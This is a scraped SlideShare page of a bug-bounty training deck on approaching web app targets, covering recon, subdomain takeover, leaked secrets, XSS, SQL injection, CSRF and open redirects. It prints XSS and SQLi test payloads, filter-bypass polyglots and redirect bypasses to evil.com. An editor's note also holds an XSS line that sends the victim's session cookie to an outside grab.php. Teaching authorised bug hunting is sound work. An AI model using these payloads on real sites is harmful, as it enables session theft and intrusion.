SlideShare a Scribd company logo
Hacking WebApps for
fun and profit : how to
approach a target?
Yassine ABOUKIR
What not to expect?
• This session is not about penetration testing.
• This session will not cover all web vulnerabilities.
• This session will not cover basic technical knowledge.
What to expect?
• An introduction to bug bounty industry
• How to start your journey in bug hunting.
• How to conduct web vulnerabilities assessment (Black-
box approach)
• Introduction to some essential hacking tools.
• How to bypass a few common vulnerabilities protection.
• How to write a kick-ass security report.
Presentation
• Security Analyst at HackerOne Inc.
• Author at InfoSec Magazine.
• Occasional bug bounty hunter (Listed in Microsoft,
Yahoo, Facebook, Google, Twitter etc Hall of fame) –
Ranked 11th on HackerOne.
• Student at ISCAE (MSc in Corporate Finance) -
Casablanca
• Double Degree at IESEG School Of Management (MSc
in Management of Information Systems) - Lille, France
Quick Questions
• How many of you have basic technical background
(HTTP, TCP/IP, Web technologies etc.)?
• How many of you know about OWASP TOP10?
• How many of you participated in a Bug Bounty Program?
Bug Bounty Industry
Facebook offers a minimum of $500 US and paid out over $4.3 million to
researchers around the globe.
Microsoft offers a minimum of $500 US and paid out over $500K
Perks of being a bug bounty
hunter
 Hacking legally.
 Have fun.
 Earn money.
 Sharpen your skills.
 Build your CV.
 Expand your network.
 Make the world more secure.
Bug Bounty Platforms
Vulnerabilities Assessment VS
Pentesting
• Vulnerability assessment is more about identifying and
prioritizing security vulnerabilities.
• Penetration testing (Pentesting) is designed to
achieve a specific, attacker-simulated goal (Access
private network, database etc.)
Hacking Methodology
Planning
It is extremely important to read the program brief
thouroughly before starting.
• Domains and IPs In-Scope.
• In-Scope Vulnerabilities.
• Out Of Scope Vulnerabilities.
• Other Useful Information.
Eg: Twitter bug bounty program
(https://hackerone.com/twitter)
Burp Suite is an integrated platform for performing
security testing of web applications. Its various tools
work seamlessly together to support the entire.
Functionalities:
• Web Proxy
• Web Crawler
• Reapeter
• Intruder
• Web Scanner
• Comparer
• Extender
Reconnaissance
• Understand web application logic.
• Map the used stack (Tool: Wappalyzer Addon)
• Spidering the application (Tool: Burpsuite)
• Check Robots.txt file.
• Google Hacking.
• Bruteforcing Directories (Tool: DirBuster)
DNS Recon
Check the server’s DNS records using DNSRecon. Interesting
things to look for :
• DNS Zone transfer (Nslookup –query=axfr example.com)
• SPF records (Spoofing Demo : https://emkei.cz/)
• MX records (Uber $10,000 US bug to Uranium238)
• DNSSEC configuration
• Etc.
Port Scanning
Use Nmap to look for open ports in a web server and
corresponding services.
• 25 for SMTP
• 22 for SSH
• 23 Telnet
• 21 for FTP
• 115 for SFTP
• 110 for POPs
• 443 HTTPS
• 80 HTTP
Sudo apt-get install nmap
SSL/TLS
Web applications use TLS to secure all communications between their servers
and web browsers.
 Heartbleed
 Drown attack
 Poodle attack
 Use of weak ciphers (RC4)
 Expired TLS certificate
 Insecure Client-Initiated Renegotiation (Should be disabled)
 Etc.
SSL/TLS
Demo: https://www.ssllabs.com/ssltest/analyze.html?d=twitter.com
Subdomains Bruteforcing
 Check for subdomains with private instances.
stage.example.com,
dev.example.Com,
testing.example.com,
vpn.example.com
 Check for potential subdomains takeover.
Support.example.com,
help.example.com,
forums.example.com
Tool : Sublist3r
Subdomains Bruteforcing
Subdomains Bruteforcing
W0rm$ host blog.redbooth.com
Non-authoritative answer:
og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
Demonstration
Subdomain takeover
(http://help.yassineaboukir.com)
Github Leakage
Hard coding credentials and pushing the code to GitHub is a
common mistake.
Look for :
 AWS Keys (AWS_SECRET_ACCESS_KEY)
 Passwords
 Slack tokens (xoxs-token)
 Private API Keys
 SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)
 Etc.
Hacking WebApps for fun and profit : how to approach a target?
Cross-Site Scripting (XSS)
XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side
script, to a different end user.
Types:
 Reflected XSS
 Stored XSS
 DOM-Based XSS
 Cookie-based XSS
 Flash-based XSS
Cross-Site Scripting (XSS)
Exploitation :
• Execution of malicious Javascript
• Execute Client-Side Exploits
• Bypass CSRF protection
• Temporary defacements and other nuisances
Cross-Site Scripting (XSS)
• Reflected XSS Demonstration.
• Stored XSS Demonstration.
• Exploitation of Stored XSS : Hijacking Session Cookie.
Cross-Site Scripting (XSS)
Testing for XSS:
• '';!--"<img>=&{()}
• <img/src=x onerror=alert(0)>
• <svg/onload=alert(0)>
• <SCRIPT/SRC=//⒕₨?
Cross-Site Scripting (XSS)
Techniques to bypassing XSS filters:
• Use polyglot payload :
<input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--
!>x3csVg/<sVg/oNloAd=alert()//>x3e "></input>
• XSS in Link inputs:
javascript://www.google.com/%0Aalert(1337);//http://
• Bypasses list :
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
• Polyglot payloads :
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Protection bypass techniques :
• Remove token parameter.
• Leave token value blank.
• Alter token value but keep same length.
• Try another user token.
• Check if token is regenerated upon logout/login.
• Analyze token complexity.
Clickjacking Attack
Clickjacking, also known as a "UI redress attack", is when an
attacker uses multiple transparent or opaque layers to trick a
user into clicking on a button or link on another page when
they were intending to click on the the top level page.
Clickjacking Attack
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com/
Clickjacking Attack
SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the
input data from the client to the application. A successful SQL injection exploit
can read sensitive data from the database, modify database data - OWASP
SQL Injection
Types of SQLi
 Error-based SQLi
 Blind SQLi
 Boolean-based (content-based) Blind SQLi
 Time-based SQLi
SQL Injection
Damn Vulnerable Web Application
www.dvwa.co.uk
Demonstration
-u : Specify the vulnerable target
-d : Vulnerable parameter (Injection point)
--Cookie: Cookies
--data : Parameters in case of a POST request
--dbs : List all databases
--tables : List all tables or tables of a specific database
--columns : List all columns, or columns of a specific table in a DB.
--dump : Extract information from the database.
SQL Injection
Testing for SQLi :
 Single Quote : ‘
 Boolean expression :
1' or '1' = '1
' or 1=1 /*
 Time expressions :
1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1
‘ and sleep(10)/*
BENCHMARK(10000000,SHA1(1))
';waitfor delay '0:0:10'--
Insecure Direct Object References
Insecure Direct Object References occur when an
application provides direct access to objects based on
user-supplied input. As a result of this vulnerability
attackers can bypass authorization and access resources
in the system directly, for example database records or
files.
(User A)
https://www.mybank.com/balance.php?account_id=123
(User B)
https://www.mybank.com/balance.php?account_id=124
Insecure Direct Object References
POST Request:
https://hackerone.com/reports/136114
Open Redirects
Unvalidated redirects and forwards are possible when a
web application accepts untrusted input that could cause
the web application to redirect the request to a URL
contained within untrusted input.
https://mail.google.com/?redirect=http://mail.gooogle.com/
Open Redirects
Bypass methods:
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=evil.Com
• http://www.example.com/login?redirect=@evil.Com
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=http://evil.com
• http://www.example.com/login?redirect=http:google.com
• http://www.example.com/login?redirect=http:///@evil.com//
Broken Authentication and Session
Management
• Insecure login forms (Use of GET method for example)
• Login form prone to bruteforcing (Lack of captcha, account lock-out, rate-
limit)
• Session Cookie not invalidated upon Logout/Password Change or Reset.
• Improper Browser Caching (Autocomplete ON, Lack of caching directives
in HTTP requests)
• Valid Accounts Enumeration (Invalid username: e-mail address is not valid
or the specified user was not found.)
• Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95)
• Weak session complexity
Report Redaction
• Executive Summary
• Vulnerability Description
• Affected URL/Parameters
• Risk assessment
• Steps Of Reproduction
• Proof Of Concept
• Recommended fix
• References
Resources
Useful links:
• http://hackerone.com/hacktivity
• https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
Let’s stay in touch
E-mail : Hello@yassineaboukir.com
Twitter : @Yassineaboukir
LinkedIn : /in/yaboukir
Blog : http://www.yassineaboukir.com/blog/

More Related Content

What's hot (20)

PPTX
Understanding Cross-site Request Forgery
Daniel Miessler
 
PDF
Bug Bounty Secrets
n|u - The Open Security Community
 
PDF
Oracle ADF Tutorial/Training Study Guide
Deepak Bhagat
 
PDF
API Security Best Practices & Guidelines
Prabath Siriwardena
 
PDF
Web Application Security 101
Cybersecurity Education and Research Centre
 
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
PPT
Secure code practices
Hina Rawal
 
PPSX
Web application security
Akhil Raj
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PPTX
Microservices
SmartBear
 
PPTX
Privileged Access Management (PAM)
danb02
 
PDF
API Management Solution Powerpoint Presentation Slides
SlideTeam
 
PDF
Microservice Architecture
tyrantbrian
 
PPTX
Buffer overflow attacks
Joe McCarthy
 
PDF
Spring Framework - Spring Security
Dzmitry Naskou
 
PDF
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
PDF
Kafka Summit 2018: Monitoring and Orchestration of Your Microservices Landsca...
Bernd Ruecker
 
PDF
Java Deserialization Vulnerabilities - The Forgotten Bug Class
CODE WHITE GmbH
 
PPTX
Sql injection
Mehul Boghra
 
PPTX
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape
 
Understanding Cross-site Request Forgery
Daniel Miessler
 
Oracle ADF Tutorial/Training Study Guide
Deepak Bhagat
 
API Security Best Practices & Guidelines
Prabath Siriwardena
 
Web Application Security 101
Cybersecurity Education and Research Centre
 
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
Secure code practices
Hina Rawal
 
Web application security
Akhil Raj
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
Microservices
SmartBear
 
Privileged Access Management (PAM)
danb02
 
API Management Solution Powerpoint Presentation Slides
SlideTeam
 
Microservice Architecture
tyrantbrian
 
Buffer overflow attacks
Joe McCarthy
 
Spring Framework - Spring Security
Dzmitry Naskou
 
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
Ajin Abraham
 
Kafka Summit 2018: Monitoring and Orchestration of Your Microservices Landsca...
Bernd Ruecker
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class
CODE WHITE GmbH
 
Sql injection
Mehul Boghra
 
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape
 

Similar to Hacking WebApps for fun and profit : how to approach a target? (20)

PDF
Web Security - Introduction v.1.3
Oles Seheda
 
PDF
Web Security - Introduction
SQALab
 
PDF
DEFCON 23 - Jason Haddix - how do i shot web
Felipe Prado
 
PDF
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
bugcrowd
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PDF
BugBounty Roadmap with Mohammed Adam
Mohammed Adam
 
PPT
Sembang2 Keselamatan It 2004
Linuxmalaysia Malaysia
 
PDF
IRJET- Bug Hunting using Web Application Penetration Testing Techniques.
IRJET Journal
 
PDF
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
PDF
Tw noche geek quito webappsec
Thoughtworks
 
PPTX
Security Testing Training With Examples
Alwin Thayyil
 
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
bugcrowd
 
KEY
DVWA BruCON Workshop
testuser1223
 
PDF
Web application security - Course overview
Satish b
 
PDF
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
PDF
Common Web Application Attacks
Ahmed Sherif
 
ODP
Hunting Security Bugs in Modern Web Applications
Toe Khaing
 
PPTX
Pentesting Tips: Beyond Automated Testing
Andrew McNicol
 
DOCX
15.3 Student Guide Web Application Tool TimeOverviewTodays c
MatthewTennant613
 
DOCX
15.3 Student Guide Web Application Tool TimeOverviewTodays c
AnastaciaShadelb
 
Web Security - Introduction v.1.3
Oles Seheda
 
Web Security - Introduction
SQALab
 
DEFCON 23 - Jason Haddix - how do i shot web
Felipe Prado
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
bugcrowd
 
Vulnerabilities in modern web applications
Niyas Nazar
 
BugBounty Roadmap with Mohammed Adam
Mohammed Adam
 
Sembang2 Keselamatan It 2004
Linuxmalaysia Malaysia
 
IRJET- Bug Hunting using Web Application Penetration Testing Techniques.
IRJET Journal
 
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
Tw noche geek quito webappsec
Thoughtworks
 
Security Testing Training With Examples
Alwin Thayyil
 
Ekoparty 2017 - The Bug Hunter's Methodology
bugcrowd
 
DVWA BruCON Workshop
testuser1223
 
Web application security - Course overview
Satish b
 
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
Common Web Application Attacks
Ahmed Sherif
 
Hunting Security Bugs in Modern Web Applications
Toe Khaing
 
Pentesting Tips: Beyond Automated Testing
Andrew McNicol
 
15.3 Student Guide Web Application Tool TimeOverviewTodays c
MatthewTennant613
 
15.3 Student Guide Web Application Tool TimeOverviewTodays c
AnastaciaShadelb
 

More from Yassine Aboukir (7)

PPTX
Open Source CMS : How secure are they?
Yassine Aboukir
 
PPTX
Bug bounty programs
Yassine Aboukir
 
PPTX
Entrepreneurship
Yassine Aboukir
 
PPTX
Le développement : actualité 2013
Yassine Aboukir
 
PDF
Le gouvernement marocain
Yassine Aboukir
 
PDF
Analyse concurrentielle
Yassine Aboukir
 
DOCX
Présentation sur la grande surface MARJANE
Yassine Aboukir
 
Open Source CMS : How secure are they?
Yassine Aboukir
 
Bug bounty programs
Yassine Aboukir
 
Entrepreneurship
Yassine Aboukir
 
Le développement : actualité 2013
Yassine Aboukir
 
Le gouvernement marocain
Yassine Aboukir
 
Analyse concurrentielle
Yassine Aboukir
 
Présentation sur la grande surface MARJANE
Yassine Aboukir
 

Recently uploaded (20)

PDF
Web Hosting for Shopify WooCommerce etc.
Harry_Phoneix Harry_Phoneix
 
PPTX
L1A Season 1 Guide made by A hegy Eng Grammar fixed
toszolder91
 
PDF
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
PPTX
Cost_of_Quality_Presentation_Software_Engineering.pptx
farispalayi
 
PPT
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
PPTX
一比一原版(LaTech毕业证)路易斯安那理工大学毕业证如何办理
Taqyea
 
PPTX
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
PPTX
本科硕士学历佛罗里达大学毕业证(UF毕业证书)24小时在线办理
Taqyea
 
PPTX
Research Design - Report on seminar in thesis writing. PPTX
arvielobos1
 
PDF
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
PPTX
INTEGRATION OF ICT IN LEARNING AND INCORPORATIING TECHNOLOGY
kvshardwork1235
 
PDF
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
PPTX
原版西班牙莱昂大学毕业证(León毕业证书)如何办理
Taqyea
 
PPT
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 
PPTX
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
PPTX
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
PDF
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
PDF
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
PPTX
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PPTX
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
Web Hosting for Shopify WooCommerce etc.
Harry_Phoneix Harry_Phoneix
 
L1A Season 1 Guide made by A hegy Eng Grammar fixed
toszolder91
 
The-Hidden-Dangers-of-Skipping-Penetration-Testing.pdf.pdf
naksh4thra
 
Cost_of_Quality_Presentation_Software_Engineering.pptx
farispalayi
 
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
一比一原版(LaTech毕业证)路易斯安那理工大学毕业证如何办理
Taqyea
 
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
本科硕士学历佛罗里达大学毕业证(UF毕业证书)24小时在线办理
Taqyea
 
Research Design - Report on seminar in thesis writing. PPTX
arvielobos1
 
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
INTEGRATION OF ICT IN LEARNING AND INCORPORATIING TECHNOLOGY
kvshardwork1235
 
𝐁𝐔𝐊𝐓𝐈 𝐊𝐄𝐌𝐄𝐍𝐀𝐍𝐆𝐀𝐍 𝐊𝐈𝐏𝐄𝐑𝟒𝐃 𝐇𝐀𝐑𝐈 𝐈𝐍𝐈 𝟐𝟎𝟐𝟓
hokimamad0
 
原版西班牙莱昂大学毕业证(León毕业证书)如何办理
Taqyea
 
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 

Hacking WebApps for fun and profit : how to approach a target?

  • 1. Hacking WebApps for fun and profit : how to approach a target? Yassine ABOUKIR
  • 2. What not to expect? • This session is not about penetration testing. • This session will not cover all web vulnerabilities. • This session will not cover basic technical knowledge.
  • 3. What to expect? • An introduction to bug bounty industry • How to start your journey in bug hunting. • How to conduct web vulnerabilities assessment (Black- box approach) • Introduction to some essential hacking tools. • How to bypass a few common vulnerabilities protection. • How to write a kick-ass security report.
  • 4. Presentation • Security Analyst at HackerOne Inc. • Author at InfoSec Magazine. • Occasional bug bounty hunter (Listed in Microsoft, Yahoo, Facebook, Google, Twitter etc Hall of fame) – Ranked 11th on HackerOne. • Student at ISCAE (MSc in Corporate Finance) - Casablanca • Double Degree at IESEG School Of Management (MSc in Management of Information Systems) - Lille, France
  • 5. Quick Questions • How many of you have basic technical background (HTTP, TCP/IP, Web technologies etc.)? • How many of you know about OWASP TOP10? • How many of you participated in a Bug Bounty Program?
  • 6. Bug Bounty Industry Facebook offers a minimum of $500 US and paid out over $4.3 million to researchers around the globe. Microsoft offers a minimum of $500 US and paid out over $500K
  • 7. Perks of being a bug bounty hunter  Hacking legally.  Have fun.  Earn money.  Sharpen your skills.  Build your CV.  Expand your network.  Make the world more secure.
  • 9. Vulnerabilities Assessment VS Pentesting • Vulnerability assessment is more about identifying and prioritizing security vulnerabilities. • Penetration testing (Pentesting) is designed to achieve a specific, attacker-simulated goal (Access private network, database etc.)
  • 11. Planning It is extremely important to read the program brief thouroughly before starting. • Domains and IPs In-Scope. • In-Scope Vulnerabilities. • Out Of Scope Vulnerabilities. • Other Useful Information. Eg: Twitter bug bounty program (https://hackerone.com/twitter)
  • 12. Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire. Functionalities: • Web Proxy • Web Crawler • Reapeter • Intruder • Web Scanner • Comparer • Extender
  • 13. Reconnaissance • Understand web application logic. • Map the used stack (Tool: Wappalyzer Addon) • Spidering the application (Tool: Burpsuite) • Check Robots.txt file. • Google Hacking. • Bruteforcing Directories (Tool: DirBuster)
  • 14. DNS Recon Check the server’s DNS records using DNSRecon. Interesting things to look for : • DNS Zone transfer (Nslookup –query=axfr example.com) • SPF records (Spoofing Demo : https://emkei.cz/) • MX records (Uber $10,000 US bug to Uranium238) • DNSSEC configuration • Etc.
  • 15. Port Scanning Use Nmap to look for open ports in a web server and corresponding services. • 25 for SMTP • 22 for SSH • 23 Telnet • 21 for FTP • 115 for SFTP • 110 for POPs • 443 HTTPS • 80 HTTP Sudo apt-get install nmap
  • 16. SSL/TLS Web applications use TLS to secure all communications between their servers and web browsers.  Heartbleed  Drown attack  Poodle attack  Use of weak ciphers (RC4)  Expired TLS certificate  Insecure Client-Initiated Renegotiation (Should be disabled)  Etc.
  • 18. Subdomains Bruteforcing  Check for subdomains with private instances. stage.example.com, dev.example.Com, testing.example.com, vpn.example.com  Check for potential subdomains takeover. Support.example.com, help.example.com, forums.example.com Tool : Sublist3r
  • 20. Subdomains Bruteforcing W0rm$ host blog.redbooth.com Non-authoritative answer: og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
  • 22. Github Leakage Hard coding credentials and pushing the code to GitHub is a common mistake. Look for :  AWS Keys (AWS_SECRET_ACCESS_KEY)  Passwords  Slack tokens (xoxs-token)  Private API Keys  SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)  Etc.
  • 24. Cross-Site Scripting (XSS) XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Types:  Reflected XSS  Stored XSS  DOM-Based XSS  Cookie-based XSS  Flash-based XSS
  • 25. Cross-Site Scripting (XSS) Exploitation : • Execution of malicious Javascript • Execute Client-Side Exploits • Bypass CSRF protection • Temporary defacements and other nuisances
  • 26. Cross-Site Scripting (XSS) • Reflected XSS Demonstration. • Stored XSS Demonstration. • Exploitation of Stored XSS : Hijacking Session Cookie.
  • 27. Cross-Site Scripting (XSS) Testing for XSS: • '';!--"<img>=&{()} • <img/src=x onerror=alert(0)> • <svg/onload=alert(0)> • <SCRIPT/SRC=//⒕₨?
  • 28. Cross-Site Scripting (XSS) Techniques to bypassing XSS filters: • Use polyglot payload : <input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-- !>x3csVg/<sVg/oNloAd=alert()//>x3e "></input> • XSS in Link inputs: javascript://www.google.com/%0Aalert(1337);//http:// • Bypasses list : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet • Polyglot payloads : https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
  • 33. Cross-Site Request Forgery Protection bypass techniques : • Remove token parameter. • Leave token value blank. • Alter token value but keep same length. • Try another user token. • Check if token is regenerated upon logout/login. • Analyze token complexity.
  • 34. Clickjacking Attack Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page.
  • 35. Clickjacking Attack X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW-FROM https://example.com/
  • 37. SQL Injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data - OWASP
  • 38. SQL Injection Types of SQLi  Error-based SQLi  Blind SQLi  Boolean-based (content-based) Blind SQLi  Time-based SQLi
  • 39. SQL Injection Damn Vulnerable Web Application www.dvwa.co.uk Demonstration
  • 40. -u : Specify the vulnerable target -d : Vulnerable parameter (Injection point) --Cookie: Cookies --data : Parameters in case of a POST request --dbs : List all databases --tables : List all tables or tables of a specific database --columns : List all columns, or columns of a specific table in a DB. --dump : Extract information from the database.
  • 41. SQL Injection Testing for SQLi :  Single Quote : ‘  Boolean expression : 1' or '1' = '1 ' or 1=1 /*  Time expressions : 1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1 ‘ and sleep(10)/* BENCHMARK(10000000,SHA1(1)) ';waitfor delay '0:0:10'--
  • 42. Insecure Direct Object References Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. (User A) https://www.mybank.com/balance.php?account_id=123 (User B) https://www.mybank.com/balance.php?account_id=124
  • 43. Insecure Direct Object References POST Request: https://hackerone.com/reports/136114
  • 44. Open Redirects Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. https://mail.google.com/?redirect=http://mail.gooogle.com/
  • 45. Open Redirects Bypass methods: • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=evil.Com • http://www.example.com/[email protected] • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=http://evil.com • http://www.example.com/login?redirect=http:google.com • http://www.example.com/login?redirect=http:///@evil.com//
  • 46. Broken Authentication and Session Management • Insecure login forms (Use of GET method for example) • Login form prone to bruteforcing (Lack of captcha, account lock-out, rate- limit) • Session Cookie not invalidated upon Logout/Password Change or Reset. • Improper Browser Caching (Autocomplete ON, Lack of caching directives in HTTP requests) • Valid Accounts Enumeration (Invalid username: e-mail address is not valid or the specified user was not found.) • Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95) • Weak session complexity
  • 47. Report Redaction • Executive Summary • Vulnerability Description • Affected URL/Parameters • Risk assessment • Steps Of Reproduction • Proof Of Concept • Recommended fix • References
  • 48. Resources Useful links: • http://hackerone.com/hacktivity • https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
  • 49. Let’s stay in touch E-mail : [email protected] Twitter : @Yassineaboukir LinkedIn : /in/yaboukir Blog : http://www.yassineaboukir.com/blog/

Editor's Notes

  • #20: Sublist3r tool
  • #21: Dig ns yassineaboukir.com nslookup -type=cname help.yassineaboukir.com
  • #27: - HTTPOnly attribute. <img src=x onerror='alert(document.location="http://yassineaboukir.com/grab.php?c="+document.cookie)'>